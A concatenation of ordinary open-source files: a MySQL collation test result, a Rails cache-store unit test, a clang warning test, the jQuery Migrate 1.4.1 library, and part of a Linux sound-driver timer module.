) ENGINE=InnoDB DEFAULT CHARSET=latin1 COLLATE=latin1_german1_ci
INSERT INTO t1 VALUES('Muffler'),('Müller'),('MX Systems');
'---check if collation_server effects results sort order---'
SET @@session.collation_server = latin1_swedish_ci;
SELECT * FROM t1 ORDER BY a;
a
Muffler
Müller
MX Systems
SET @@session.collation_server = latin1_german1_ci;
SELECT * FROM t1 ORDER BY a;
a
Muffler
Müller
MX Systems
SELECT * FROM t1 ORDER BY a COLLATE latin1_swedish_ci;
a
Muffler
MX Systems
Müller
SELECT * FROM t1 ORDER BY a COLLATE latin1_german1_ci;
a
Muffler
Müller
MX Systems
'---check if indexing is effected by collation_server---'
SET @@session.collation_server = latin1_swedish_ci;
ALTER TABLE t1 ADD PRIMARY KEY (a);
SELECT * FROM t1 ORDER BY a;
a
Muffler
Müller
MX Systems
ALTER TABLE t1 DROP PRIMARY KEY;
SET @@session.collation_server = latin1_german1_ci;
ALTER TABLE t1 ADD PRIMARY KEY (a);
SELECT * FROM t1 ORDER BY a;
a
Muffler
Müller
MX Systems
DROP TABLE t1,t2;
DROP DATABASE db1;
SET @@global.collation_server = @global_collation_server;
SET @@session.collation_server = @session_collation_server;
| {
"pile_set_name": "Github"
} |
require File.dirname(__FILE__) + '/../abstract_unit'
MemCache = Struct.new(:MemCache, :address) unless Object.const_defined?(:MemCache)
class FragmentCacheStoreSettingTest < Test::Unit::TestCase
def teardown
ActionController::Base.fragment_cache_store = ActionController::Caching::Fragments::MemoryStore.new
end
def test_file_fragment_cache_store
ActionController::Base.fragment_cache_store = :file_store, "/path/to/cache/directory"
assert_kind_of(
ActionController::Caching::Fragments::FileStore,
ActionController::Base.fragment_cache_store
)
assert_equal "/path/to/cache/directory", ActionController::Base.fragment_cache_store.cache_path
end
def test_drb_fragment_cache_store
ActionController::Base.fragment_cache_store = :drb_store, "druby://localhost:9192"
assert_kind_of(
ActionController::Caching::Fragments::DRbStore,
ActionController::Base.fragment_cache_store
)
assert_equal "druby://localhost:9192", ActionController::Base.fragment_cache_store.address
end
def test_mem_cache_fragment_cache_store
ActionController::Base.fragment_cache_store = :mem_cache_store, "localhost"
assert_kind_of(
ActionController::Caching::Fragments::MemCacheStore,
ActionController::Base.fragment_cache_store
)
assert_equal %w(localhost), ActionController::Base.fragment_cache_store.addresses
end
def test_object_assigned_fragment_cache_store
ActionController::Base.fragment_cache_store = ActionController::Caching::Fragments::FileStore.new("/path/to/cache/directory")
assert_kind_of(
ActionController::Caching::Fragments::FileStore,
ActionController::Base.fragment_cache_store
)
assert_equal "/path/to/cache/directory", ActionController::Base.fragment_cache_store.cache_path
end
end
| {
"pile_set_name": "Github"
} |
// RUN: %clang_cc1 -fsyntax-only -verify -Wnull-arithmetic %s
#define NULL __null
@interface X
@end
void f() {
bool b;
X *d;
b = d < NULL || NULL < d || d > NULL || NULL > d;
b = d <= NULL || NULL <= d || d >= NULL || NULL >= d;
b = d == NULL || NULL == d || d != NULL || NULL != d;
}
| {
"pile_set_name": "Github"
} |
/*!
* jQuery Migrate - v1.4.1 - 2016-05-19
* Copyright jQuery Foundation and other contributors
*/
(function( jQuery, window, undefined ) {
// See http://bugs.jquery.com/ticket/13335
// "use strict";
jQuery.migrateVersion = "1.4.1";
var warnedAbout = {};
// List of warnings already given; public read only
jQuery.migrateWarnings = [];
// Set to true to prevent console output; migrateWarnings still maintained
// jQuery.migrateMute = false;
// Show a message on the console so devs know we're active
if ( window.console && window.console.log ) {
window.console.log( "JQMIGRATE: Migrate is installed" +
( jQuery.migrateMute ? "" : " with logging active" ) +
", version " + jQuery.migrateVersion );
}
// Set to false to disable traces that appear with warnings
if ( jQuery.migrateTrace === undefined ) {
jQuery.migrateTrace = true;
}
// Forget any warnings we've already given; public
jQuery.migrateReset = function() {
warnedAbout = {};
jQuery.migrateWarnings.length = 0;
};
function migrateWarn( msg) {
var console = window.console;
if ( !warnedAbout[ msg ] ) {
warnedAbout[ msg ] = true;
jQuery.migrateWarnings.push( msg );
if ( console && console.warn && !jQuery.migrateMute ) {
console.warn( "JQMIGRATE: " + msg );
if ( jQuery.migrateTrace && console.trace ) {
console.trace();
}
}
}
}
function migrateWarnProp( obj, prop, value, msg ) {
if ( Object.defineProperty ) {
// On ES5 browsers (non-oldIE), warn if the code tries to get prop;
// allow property to be overwritten in case some other plugin wants it
try {
Object.defineProperty( obj, prop, {
configurable: true,
enumerable: true,
get: function() {
migrateWarn( msg );
return value;
},
set: function( newValue ) {
migrateWarn( msg );
value = newValue;
}
});
return;
} catch( err ) {
// IE8 is a dope about Object.defineProperty, can't warn there
}
}
// Non-ES5 (or broken) browser; just set the property
jQuery._definePropertyBroken = true;
obj[ prop ] = value;
}
if ( document.compatMode === "BackCompat" ) {
// jQuery has never supported or tested Quirks Mode
migrateWarn( "jQuery is not compatible with Quirks Mode" );
}
var attrFn = jQuery( "<input/>", { size: 1 } ).attr("size") && jQuery.attrFn,
oldAttr = jQuery.attr,
valueAttrGet = jQuery.attrHooks.value && jQuery.attrHooks.value.get ||
function() { return null; },
valueAttrSet = jQuery.attrHooks.value && jQuery.attrHooks.value.set ||
function() { return undefined; },
rnoType = /^(?:input|button)$/i,
rnoAttrNodeType = /^[238]$/,
rboolean = /^(?:autofocus|autoplay|async|checked|controls|defer|disabled|hidden|loop|multiple|open|readonly|required|scoped|selected)$/i,
ruseDefault = /^(?:checked|selected)$/i;
// jQuery.attrFn
migrateWarnProp( jQuery, "attrFn", attrFn || {}, "jQuery.attrFn is deprecated" );
jQuery.attr = function( elem, name, value, pass ) {
var lowerName = name.toLowerCase(),
nType = elem && elem.nodeType;
if ( pass ) {
// Since pass is used internally, we only warn for new jQuery
// versions where there isn't a pass arg in the formal params
if ( oldAttr.length < 4 ) {
migrateWarn("jQuery.fn.attr( props, pass ) is deprecated");
}
if ( elem && !rnoAttrNodeType.test( nType ) &&
(attrFn ? name in attrFn : jQuery.isFunction(jQuery.fn[name])) ) {
return jQuery( elem )[ name ]( value );
}
}
// Warn if user tries to set `type`, since it breaks on IE 6/7/8; by checking
// for disconnected elements we don't warn on $( "<button>", { type: "button" } ).
if ( name === "type" && value !== undefined && rnoType.test( elem.nodeName ) && elem.parentNode ) {
migrateWarn("Can't change the 'type' of an input or button in IE 6/7/8");
}
// Restore boolHook for boolean property/attribute synchronization
if ( !jQuery.attrHooks[ lowerName ] && rboolean.test( lowerName ) ) {
jQuery.attrHooks[ lowerName ] = {
get: function( elem, name ) {
// Align boolean attributes with corresponding properties
// Fall back to attribute presence where some booleans are not supported
var attrNode,
property = jQuery.prop( elem, name );
return property === true || typeof property !== "boolean" &&
( attrNode = elem.getAttributeNode(name) ) && attrNode.nodeValue !== false ?
name.toLowerCase() :
undefined;
},
set: function( elem, value, name ) {
var propName;
if ( value === false ) {
// Remove boolean attributes when set to false
jQuery.removeAttr( elem, name );
} else {
// value is true since we know at this point it's type boolean and not false
// Set boolean attributes to the same name and set the DOM property
propName = jQuery.propFix[ name ] || name;
if ( propName in elem ) {
// Only set the IDL specifically if it already exists on the element
elem[ propName ] = true;
}
elem.setAttribute( name, name.toLowerCase() );
}
return name;
}
};
// Warn only for attributes that can remain distinct from their properties post-1.9
if ( ruseDefault.test( lowerName ) ) {
migrateWarn( "jQuery.fn.attr('" + lowerName + "') might use property instead of attribute" );
}
}
return oldAttr.call( jQuery, elem, name, value );
};
// attrHooks: value
jQuery.attrHooks.value = {
get: function( elem, name ) {
var nodeName = ( elem.nodeName || "" ).toLowerCase();
if ( nodeName === "button" ) {
return valueAttrGet.apply( this, arguments );
}
if ( nodeName !== "input" && nodeName !== "option" ) {
migrateWarn("jQuery.fn.attr('value') no longer gets properties");
}
return name in elem ?
elem.value :
null;
},
set: function( elem, value ) {
var nodeName = ( elem.nodeName || "" ).toLowerCase();
if ( nodeName === "button" ) {
return valueAttrSet.apply( this, arguments );
}
if ( nodeName !== "input" && nodeName !== "option" ) {
migrateWarn("jQuery.fn.attr('value', val) no longer sets properties");
}
// Does not return so that setAttribute is also used
elem.value = value;
}
};
var matched, browser,
oldInit = jQuery.fn.init,
oldFind = jQuery.find,
oldParseJSON = jQuery.parseJSON,
rspaceAngle = /^\s*</,
rattrHashTest = /\[(\s*[-\w]+\s*)([~|^$*]?=)\s*([-\w#]*?#[-\w#]*)\s*\]/,
rattrHashGlob = /\[(\s*[-\w]+\s*)([~|^$*]?=)\s*([-\w#]*?#[-\w#]*)\s*\]/g,
// Note: XSS check is done below after string is trimmed
rquickExpr = /^([^<]*)(<[\w\W]+>)([^>]*)$/;
// $(html) "looks like html" rule change
jQuery.fn.init = function( selector, context, rootjQuery ) {
var match, ret;
if ( selector && typeof selector === "string" ) {
if ( !jQuery.isPlainObject( context ) &&
(match = rquickExpr.exec( jQuery.trim( selector ) )) && match[ 0 ] ) {
// This is an HTML string according to the "old" rules; is it still?
if ( !rspaceAngle.test( selector ) ) {
migrateWarn("$(html) HTML strings must start with '<' character");
}
if ( match[ 3 ] ) {
migrateWarn("$(html) HTML text after last tag is ignored");
}
// Consistently reject any HTML-like string starting with a hash (gh-9521)
// Note that this may break jQuery 1.6.x code that otherwise would work.
if ( match[ 0 ].charAt( 0 ) === "#" ) {
migrateWarn("HTML string cannot start with a '#' character");
jQuery.error("JQMIGRATE: Invalid selector string (XSS)");
}
// Now process using loose rules; let pre-1.8 play too
// Is this a jQuery context? parseHTML expects a DOM element (#178)
if ( context && context.context && context.context.nodeType ) {
context = context.context;
}
if ( jQuery.parseHTML ) {
return oldInit.call( this,
jQuery.parseHTML( match[ 2 ], context && context.ownerDocument ||
context || document, true ), context, rootjQuery );
}
}
}
ret = oldInit.apply( this, arguments );
// Fill in selector and context properties so .live() works
if ( selector && selector.selector !== undefined ) {
// A jQuery object, copy its properties
ret.selector = selector.selector;
ret.context = selector.context;
} else {
ret.selector = typeof selector === "string" ? selector : "";
if ( selector ) {
ret.context = selector.nodeType? selector : context || document;
}
}
return ret;
};
jQuery.fn.init.prototype = jQuery.fn;
jQuery.find = function( selector ) {
var args = Array.prototype.slice.call( arguments );
// Support: PhantomJS 1.x
// String#match fails to match when used with a //g RegExp, only on some strings
if ( typeof selector === "string" && rattrHashTest.test( selector ) ) {
// The nonstandard and undocumented unquoted-hash was removed in jQuery 1.12.0
// First see if qS thinks it's a valid selector, if so avoid a false positive
try {
document.querySelector( selector );
} catch ( err1 ) {
// Didn't *look* valid to qSA, warn and try quoting what we think is the value
selector = selector.replace( rattrHashGlob, function( _, attr, op, value ) {
return "[" + attr + op + "\"" + value + "\"]";
} );
// If the regexp *may* have created an invalid selector, don't update it
// Note that there may be false alarms if selector uses jQuery extensions
try {
document.querySelector( selector );
migrateWarn( "Attribute selector with '#' must be quoted: " + args[ 0 ] );
args[ 0 ] = selector;
} catch ( err2 ) {
migrateWarn( "Attribute selector with '#' was not fixed: " + args[ 0 ] );
}
}
}
return oldFind.apply( this, args );
};
// Copy properties attached to original jQuery.find method (e.g. .attr, .isXML)
var findProp;
for ( findProp in oldFind ) {
if ( Object.prototype.hasOwnProperty.call( oldFind, findProp ) ) {
jQuery.find[ findProp ] = oldFind[ findProp ];
}
}
// Let $.parseJSON(falsy_value) return null
jQuery.parseJSON = function( json ) {
if ( !json ) {
migrateWarn("jQuery.parseJSON requires a valid JSON string");
return null;
}
return oldParseJSON.apply( this, arguments );
};
jQuery.uaMatch = function( ua ) {
ua = ua.toLowerCase();
var match = /(chrome)[ \/]([\w.]+)/.exec( ua ) ||
/(webkit)[ \/]([\w.]+)/.exec( ua ) ||
/(opera)(?:.*version|)[ \/]([\w.]+)/.exec( ua ) ||
/(msie) ([\w.]+)/.exec( ua ) ||
ua.indexOf("compatible") < 0 && /(mozilla)(?:.*? rv:([\w.]+)|)/.exec( ua ) ||
[];
return {
browser: match[ 1 ] || "",
version: match[ 2 ] || "0"
};
};
// Don't clobber any existing jQuery.browser in case it's different
if ( !jQuery.browser ) {
matched = jQuery.uaMatch( navigator.userAgent );
browser = {};
if ( matched.browser ) {
browser[ matched.browser ] = true;
browser.version = matched.version;
}
// Chrome is Webkit, but Webkit is also Safari.
if ( browser.chrome ) {
browser.webkit = true;
} else if ( browser.webkit ) {
browser.safari = true;
}
jQuery.browser = browser;
}
// Warn if the code tries to get jQuery.browser
migrateWarnProp( jQuery, "browser", jQuery.browser, "jQuery.browser is deprecated" );
// jQuery.boxModel deprecated in 1.3, jQuery.support.boxModel deprecated in 1.7
jQuery.boxModel = jQuery.support.boxModel = (document.compatMode === "CSS1Compat");
migrateWarnProp( jQuery, "boxModel", jQuery.boxModel, "jQuery.boxModel is deprecated" );
migrateWarnProp( jQuery.support, "boxModel", jQuery.support.boxModel, "jQuery.support.boxModel is deprecated" );
jQuery.sub = function() {
function jQuerySub( selector, context ) {
return new jQuerySub.fn.init( selector, context );
}
jQuery.extend( true, jQuerySub, this );
jQuerySub.superclass = this;
jQuerySub.fn = jQuerySub.prototype = this();
jQuerySub.fn.constructor = jQuerySub;
jQuerySub.sub = this.sub;
jQuerySub.fn.init = function init( selector, context ) {
var instance = jQuery.fn.init.call( this, selector, context, rootjQuerySub );
return instance instanceof jQuerySub ?
instance :
jQuerySub( instance );
};
jQuerySub.fn.init.prototype = jQuerySub.fn;
var rootjQuerySub = jQuerySub(document);
migrateWarn( "jQuery.sub() is deprecated" );
return jQuerySub;
};
// The number of elements contained in the matched element set
jQuery.fn.size = function() {
migrateWarn( "jQuery.fn.size() is deprecated; use the .length property" );
return this.length;
};
var internalSwapCall = false;
// If this version of jQuery has .swap(), don't false-alarm on internal uses
if ( jQuery.swap ) {
jQuery.each( [ "height", "width", "reliableMarginRight" ], function( _, name ) {
var oldHook = jQuery.cssHooks[ name ] && jQuery.cssHooks[ name ].get;
if ( oldHook ) {
jQuery.cssHooks[ name ].get = function() {
var ret;
internalSwapCall = true;
ret = oldHook.apply( this, arguments );
internalSwapCall = false;
return ret;
};
}
});
}
jQuery.swap = function( elem, options, callback, args ) {
var ret, name,
old = {};
if ( !internalSwapCall ) {
migrateWarn( "jQuery.swap() is undocumented and deprecated" );
}
// Remember the old values, and insert the new ones
for ( name in options ) {
old[ name ] = elem.style[ name ];
elem.style[ name ] = options[ name ];
}
ret = callback.apply( elem, args || [] );
// Revert the old values
for ( name in options ) {
elem.style[ name ] = old[ name ];
}
return ret;
};
// Ensure that $.ajax gets the new parseJSON defined in core.js
jQuery.ajaxSetup({
converters: {
"text json": jQuery.parseJSON
}
});
var oldFnData = jQuery.fn.data;
jQuery.fn.data = function( name ) {
var ret, evt,
elem = this[0];
// Handles 1.7 which has this behavior and 1.8 which doesn't
if ( elem && name === "events" && arguments.length === 1 ) {
ret = jQuery.data( elem, name );
evt = jQuery._data( elem, name );
if ( ( ret === undefined || ret === evt ) && evt !== undefined ) {
migrateWarn("Use of jQuery.fn.data('events') is deprecated");
return evt;
}
}
return oldFnData.apply( this, arguments );
};
var rscriptType = /\/(java|ecma)script/i;
// Since jQuery.clean is used internally on older versions, we only shim if it's missing
if ( !jQuery.clean ) {
jQuery.clean = function( elems, context, fragment, scripts ) {
// Set context per 1.8 logic
context = context || document;
context = !context.nodeType && context[0] || context;
context = context.ownerDocument || context;
migrateWarn("jQuery.clean() is deprecated");
var i, elem, handleScript, jsTags,
ret = [];
jQuery.merge( ret, jQuery.buildFragment( elems, context ).childNodes );
// Complex logic lifted directly from jQuery 1.8
if ( fragment ) {
// Special handling of each script element
handleScript = function( elem ) {
// Check if we consider it executable
if ( !elem.type || rscriptType.test( elem.type ) ) {
// Detach the script and store it in the scripts array (if provided) or the fragment
// Return truthy to indicate that it has been handled
return scripts ?
scripts.push( elem.parentNode ? elem.parentNode.removeChild( elem ) : elem ) :
fragment.appendChild( elem );
}
};
for ( i = 0; (elem = ret[i]) != null; i++ ) {
// Check if we're done after handling an executable script
if ( !( jQuery.nodeName( elem, "script" ) && handleScript( elem ) ) ) {
// Append to fragment and handle embedded scripts
fragment.appendChild( elem );
if ( typeof elem.getElementsByTagName !== "undefined" ) {
// handleScript alters the DOM, so use jQuery.merge to ensure snapshot iteration
jsTags = jQuery.grep( jQuery.merge( [], elem.getElementsByTagName("script") ), handleScript );
// Splice the scripts into ret after their former ancestor and advance our index beyond them
ret.splice.apply( ret, [i + 1, 0].concat( jsTags ) );
i += jsTags.length;
}
}
}
}
return ret;
};
}
var eventAdd = jQuery.event.add,
eventRemove = jQuery.event.remove,
eventTrigger = jQuery.event.trigger,
oldToggle = jQuery.fn.toggle,
oldLive = jQuery.fn.live,
oldDie = jQuery.fn.die,
oldLoad = jQuery.fn.load,
ajaxEvents = "ajaxStart|ajaxStop|ajaxSend|ajaxComplete|ajaxError|ajaxSuccess",
rajaxEvent = new RegExp( "\\b(?:" + ajaxEvents + ")\\b" ),
rhoverHack = /(?:^|\s)hover(\.\S+|)\b/,
hoverHack = function( events ) {
if ( typeof( events ) !== "string" || jQuery.event.special.hover ) {
return events;
}
if ( rhoverHack.test( events ) ) {
migrateWarn("'hover' pseudo-event is deprecated, use 'mouseenter mouseleave'");
}
return events && events.replace( rhoverHack, "mouseenter$1 mouseleave$1" );
};
// Event props removed in 1.9, put them back if needed; no practical way to warn them
if ( jQuery.event.props && jQuery.event.props[ 0 ] !== "attrChange" ) {
jQuery.event.props.unshift( "attrChange", "attrName", "relatedNode", "srcElement" );
}
// Undocumented jQuery.event.handle was "deprecated" in jQuery 1.7
if ( jQuery.event.dispatch ) {
migrateWarnProp( jQuery.event, "handle", jQuery.event.dispatch, "jQuery.event.handle is undocumented and deprecated" );
}
// Support for 'hover' pseudo-event and ajax event warnings
jQuery.event.add = function( elem, types, handler, data, selector ){
if ( elem !== document && rajaxEvent.test( types ) ) {
migrateWarn( "AJAX events should be attached to document: " + types );
}
eventAdd.call( this, elem, hoverHack( types || "" ), handler, data, selector );
};
jQuery.event.remove = function( elem, types, handler, selector, mappedTypes ){
eventRemove.call( this, elem, hoverHack( types ) || "", handler, selector, mappedTypes );
};
jQuery.each( [ "load", "unload", "error" ], function( _, name ) {
jQuery.fn[ name ] = function() {
var args = Array.prototype.slice.call( arguments, 0 );
// If this is an ajax load() the first arg should be the string URL;
// technically this could also be the "Anything" arg of the event .load()
// which just goes to show why this dumb signature has been deprecated!
// jQuery custom builds that exclude the Ajax module justifiably die here.
if ( name === "load" && typeof args[ 0 ] === "string" ) {
return oldLoad.apply( this, args );
}
migrateWarn( "jQuery.fn." + name + "() is deprecated" );
args.splice( 0, 0, name );
if ( arguments.length ) {
return this.bind.apply( this, args );
}
// Use .triggerHandler here because:
// - load and unload events don't need to bubble, only applied to window or image
// - error event should not bubble to window, although it does pre-1.7
// See http://bugs.jquery.com/ticket/11820
this.triggerHandler.apply( this, args );
return this;
};
});
jQuery.fn.toggle = function( fn, fn2 ) {
// Don't mess with animation or css toggles
if ( !jQuery.isFunction( fn ) || !jQuery.isFunction( fn2 ) ) {
return oldToggle.apply( this, arguments );
}
migrateWarn("jQuery.fn.toggle(handler, handler...) is deprecated");
// Save reference to arguments for access in closure
var args = arguments,
guid = fn.guid || jQuery.guid++,
i = 0,
toggler = function( event ) {
// Figure out which function to execute
var lastToggle = ( jQuery._data( this, "lastToggle" + fn.guid ) || 0 ) % i;
jQuery._data( this, "lastToggle" + fn.guid, lastToggle + 1 );
// Make sure that clicks stop
event.preventDefault();
// and execute the function
return args[ lastToggle ].apply( this, arguments ) || false;
};
// link all the functions, so any of them can unbind this click handler
toggler.guid = guid;
while ( i < args.length ) {
args[ i++ ].guid = guid;
}
return this.click( toggler );
};
jQuery.fn.live = function( types, data, fn ) {
migrateWarn("jQuery.fn.live() is deprecated");
if ( oldLive ) {
return oldLive.apply( this, arguments );
}
jQuery( this.context ).on( types, this.selector, data, fn );
return this;
};
jQuery.fn.die = function( types, fn ) {
migrateWarn("jQuery.fn.die() is deprecated");
if ( oldDie ) {
return oldDie.apply( this, arguments );
}
jQuery( this.context ).off( types, this.selector || "**", fn );
return this;
};
// Turn global events into document-triggered events
jQuery.event.trigger = function( event, data, elem, onlyHandlers ){
if ( !elem && !rajaxEvent.test( event ) ) {
migrateWarn( "Global events are undocumented and deprecated" );
}
return eventTrigger.call( this, event, data, elem || document, onlyHandlers );
};
jQuery.each( ajaxEvents.split("|"),
function( _, name ) {
jQuery.event.special[ name ] = {
setup: function() {
var elem = this;
// The document needs no shimming; must be !== for oldIE
if ( elem !== document ) {
jQuery.event.add( document, name + "." + jQuery.guid, function() {
jQuery.event.trigger( name, Array.prototype.slice.call( arguments, 1 ), elem, true );
});
jQuery._data( this, name, jQuery.guid++ );
}
return false;
},
teardown: function() {
if ( this !== document ) {
jQuery.event.remove( document, name + "." + jQuery._data( this, name ) );
}
return false;
}
};
}
);
jQuery.event.special.ready = {
setup: function() {
if ( this === document ) {
migrateWarn( "'ready' event is deprecated" );
}
}
};
var oldSelf = jQuery.fn.andSelf || jQuery.fn.addBack,
oldFnFind = jQuery.fn.find;
jQuery.fn.andSelf = function() {
migrateWarn("jQuery.fn.andSelf() replaced by jQuery.fn.addBack()");
return oldSelf.apply( this, arguments );
};
jQuery.fn.find = function( selector ) {
var ret = oldFnFind.apply( this, arguments );
ret.context = this.context;
ret.selector = this.selector ? this.selector + " " + selector : selector;
return ret;
};
// jQuery 1.6 did not support Callbacks, do not warn there
if ( jQuery.Callbacks ) {
var oldDeferred = jQuery.Deferred,
tuples = [
// action, add listener, callbacks, .then handlers, final state
[ "resolve", "done", jQuery.Callbacks("once memory"),
jQuery.Callbacks("once memory"), "resolved" ],
[ "reject", "fail", jQuery.Callbacks("once memory"),
jQuery.Callbacks("once memory"), "rejected" ],
[ "notify", "progress", jQuery.Callbacks("memory"),
jQuery.Callbacks("memory") ]
];
jQuery.Deferred = function( func ) {
var deferred = oldDeferred(),
promise = deferred.promise();
deferred.pipe = promise.pipe = function( /* fnDone, fnFail, fnProgress */ ) {
var fns = arguments;
migrateWarn( "deferred.pipe() is deprecated" );
return jQuery.Deferred(function( newDefer ) {
jQuery.each( tuples, function( i, tuple ) {
var fn = jQuery.isFunction( fns[ i ] ) && fns[ i ];
// deferred.done(function() { bind to newDefer or newDefer.resolve })
// deferred.fail(function() { bind to newDefer or newDefer.reject })
// deferred.progress(function() { bind to newDefer or newDefer.notify })
deferred[ tuple[1] ](function() {
var returned = fn && fn.apply( this, arguments );
if ( returned && jQuery.isFunction( returned.promise ) ) {
returned.promise()
.done( newDefer.resolve )
.fail( newDefer.reject )
.progress( newDefer.notify );
} else {
newDefer[ tuple[ 0 ] + "With" ](
this === promise ? newDefer.promise() : this,
fn ? [ returned ] : arguments
);
}
});
});
fns = null;
}).promise();
};
deferred.isResolved = function() {
migrateWarn( "deferred.isResolved is deprecated" );
return deferred.state() === "resolved";
};
deferred.isRejected = function() {
migrateWarn( "deferred.isRejected is deprecated" );
return deferred.state() === "rejected";
};
if ( func ) {
func.call( deferred, deferred );
}
return deferred;
};
}
})( jQuery, window );
| {
"pile_set_name": "Github"
} |
/*
* PCM timer handling on ctxfi
*
* This source file is released under GPL v2 license (no other versions).
* See the COPYING file included in the main directory of this source
* distribution for the license terms and conditions.
*/
#include <linux/slab.h>
#include <linux/math64.h>
#include <linux/moduleparam.h>
#include <sound/core.h>
#include <sound/pcm.h>
#include "ctatc.h"
#include "cthardware.h"
#include "cttimer.h"
static bool use_system_timer;
MODULE_PARM_DESC(use_system_timer, "Force to use system-timer");
module_param(use_system_timer, bool, S_IRUGO);
struct ct_timer_ops {
void (*init)(struct ct_timer_instance *);
void (*prepare)(struct ct_timer_instance *);
void (*start)(struct ct_timer_instance *);
void (*stop)(struct ct_timer_instance *);
void (*free_instance)(struct ct_timer_instance *);
void (*interrupt)(struct ct_timer *);
void (*free_global)(struct ct_timer *);
};
/* timer instance -- assigned to each PCM stream */
struct ct_timer_instance {
spinlock_t lock;
struct ct_timer *timer_base;
struct ct_atc_pcm *apcm;
struct snd_pcm_substream *substream;
struct timer_list timer;
struct list_head instance_list;
struct list_head running_list;
unsigned int position;
unsigned int frag_count;
unsigned int running:1;
unsigned int need_update:1;
};
/* timer instance manager */
struct ct_timer {
spinlock_t lock; /* global timer lock (for xfitimer) */
spinlock_t list_lock; /* lock for instance list */
struct ct_atc *atc;
const struct ct_timer_ops *ops;
struct list_head instance_head;
struct list_head running_head;
unsigned int wc; /* current wallclock */
unsigned int irq_handling:1; /* in IRQ handling */
unsigned int reprogram:1; /* need to reprogram the internval */
unsigned int running:1; /* global timer running */
};
/*
* system-timer-based updates
*/
static void ct_systimer_callback(struct timer_list *t)
{
struct ct_timer_instance *ti = from_timer(ti, t, timer);
struct snd_pcm_substream *substream = ti->substream;
struct snd_pcm_runtime *runtime = substream->runtime;
struct ct_atc_pcm *apcm = ti->apcm;
unsigned int period_size = runtime->period_size;
unsigned int buffer_size = runtime->buffer_size;
unsigned long flags;
unsigned int position, dist, interval;
position = substream->ops->pointer(substream);
dist = (position + buffer_size - ti->position) % buffer_size;
if (dist >= period_size ||
position / period_size != ti->position / period_size) {
apcm->interrupt(apcm);
ti->position = position;
}
/* Add extra HZ*5/1000 to avoid overrun issue when recording
* at 8kHz in 8-bit format or at 88kHz in 24-bit format. */
interval = ((period_size - (position % period_size))
* HZ + (runtime->rate - 1)) / runtime->rate + HZ * 5 / 1000;
spin_lock_irqsave(&ti->lock, flags);
if (ti->running)
mod_timer(&ti->timer, jiffies + interval);
spin_unlock_irqrestore(&ti->lock, flags);
}
static void ct_systimer_init(struct ct_timer_instance *ti)
{
timer_setup(&ti->timer, ct_systimer_callback, 0);
}
static void ct_systimer_start(struct ct_timer_instance *ti)
{
struct snd_pcm_runtime *runtime = ti->substream->runtime;
unsigned long flags;
spin_lock_irqsave(&ti->lock, flags);
ti->running = 1;
mod_timer(&ti->timer,
jiffies + (runtime->period_size * HZ +
(runtime->rate - 1)) / runtime->rate);
spin_unlock_irqrestore(&ti->lock, flags);
}
static void ct_systimer_stop(struct ct_timer_instance *ti)
{
unsigned long flags;
spin_lock_irqsave(&ti->lock, flags);
ti->running = 0;
del_timer(&ti->timer);
spin_unlock_irqrestore(&ti->lock, flags);
}
static void ct_systimer_prepare(struct ct_timer_instance *ti)
{
ct_systimer_stop(ti);
try_to_del_timer_sync(&ti->timer);
}
#define ct_systimer_free ct_systimer_prepare
static const struct ct_timer_ops ct_systimer_ops = {
.init = ct_systimer_init,
.free_instance = ct_systimer_free,
.prepare = ct_systimer_prepare,
.start = ct_systimer_start,
.stop = ct_systimer_stop,
};
/*
* Handling multiple streams using a global emu20k1 timer irq
*/
#define CT_TIMER_FREQ 48000
#define MIN_TICKS 1
#define MAX_TICKS ((1 << 13) - 1)
static void ct_xfitimer_irq_rearm(struct ct_timer *atimer, int ticks)
{
struct hw *hw = atimer->atc->hw;
if (ticks > MAX_TICKS)
ticks = MAX_TICKS;
hw->set_timer_tick(hw, ticks);
if (!atimer->running)
hw->set_timer_irq(hw, 1);
atimer->running = 1;
}
static void ct_xfitimer_irq_stop(struct ct_timer *atimer)
{
if (atimer->running) {
struct hw *hw = atimer->atc->hw;
hw->set_timer_irq(hw, 0);
hw->set_timer_tick(hw, 0);
atimer->running = 0;
}
}
static inline unsigned int ct_xfitimer_get_wc(struct ct_timer *atimer)
{
struct hw *hw = atimer->atc->hw;
return hw->get_wc(hw);
}
/*
* reprogram the timer interval;
* checks the running instance list and determines the next timer interval.
* also updates the each stream position, returns the number of streams
* to call snd_pcm_period_elapsed() appropriately
*
* call this inside the lock and irq disabled
*/
static int ct_xfitimer_reprogram(struct ct_timer *atimer, int can_update)
{
struct ct_timer_instance *ti;
unsigned int min_intr = (unsigned int)-1;
int updates = 0;
unsigned int wc, diff;
if (list_empty(&atimer->running_head)) {
ct_xfitimer_irq_stop(atimer);
atimer->reprogram = 0; /* clear flag */
return 0;
}
wc = ct_xfitimer_get_wc(atimer);
diff = wc - atimer->wc;
atimer->wc = wc;
list_for_each_entry(ti, &atimer->running_head, running_list) {
if (ti->frag_count > diff)
ti->frag_count -= diff;
else {
unsigned int pos;
unsigned int period_size, rate;
period_size = ti->substream->runtime->period_size;
rate = ti->substream->runtime->rate;
pos = ti->substream->ops->pointer(ti->substream);
if (pos / period_size != ti->position / period_size) {
ti->need_update = 1;
ti->position = pos;
updates++;
}
pos %= period_size;
pos = period_size - pos;
ti->frag_count = div_u64((u64)pos * CT_TIMER_FREQ +
rate - 1, rate);
}
if (ti->need_update && !can_update)
min_intr = 0; /* pending to the next irq */
if (ti->frag_count < min_intr)
min_intr = ti->frag_count;
}
if (min_intr < MIN_TICKS)
min_intr = MIN_TICKS;
ct_xfitimer_irq_rearm(atimer, min_intr);
atimer->reprogram = 0; /* clear flag */
return updates;
}
/* look through the instance list and call period_elapsed if needed */
static void ct_xfitimer_check_period(struct ct_timer *atimer)
{
struct ct_timer_instance *ti;
unsigned long flags;
spin_lock_irqsave(&atimer->list_lock, flags);
list_for_each_entry(ti, &atimer->instance_head, instance_list) {
if (ti->running && ti->need_update) {
ti->need_update = 0;
ti->apcm->interrupt(ti->apcm);
}
}
spin_unlock_irqrestore(&atimer->list_lock, flags);
}
/* Handle timer-interrupt */
static void ct_xfitimer_callback(struct ct_timer *atimer)
{
int update;
unsigned long flags;
spin_lock_irqsave(&atimer->lock, flags);
atimer->irq_handling = 1;
do {
update = ct_xfitimer_reprogram(atimer, 1);
spin_unlock(&atimer->lock);
if (update)
ct_xfitimer_check_period(atimer);
spin_lock(&atimer->lock);
} while (atimer->reprogram);
atimer->irq_handling = 0;
spin_unlock_irqrestore(&atimer->lock, flags);
}
static void ct_xfitimer_prepare(struct ct_timer_instance *ti)
{
ti->frag_count = ti->substream->runtime->period_size;
ti->running = 0;
ti->need_update = 0;
}
/* start/stop the timer */
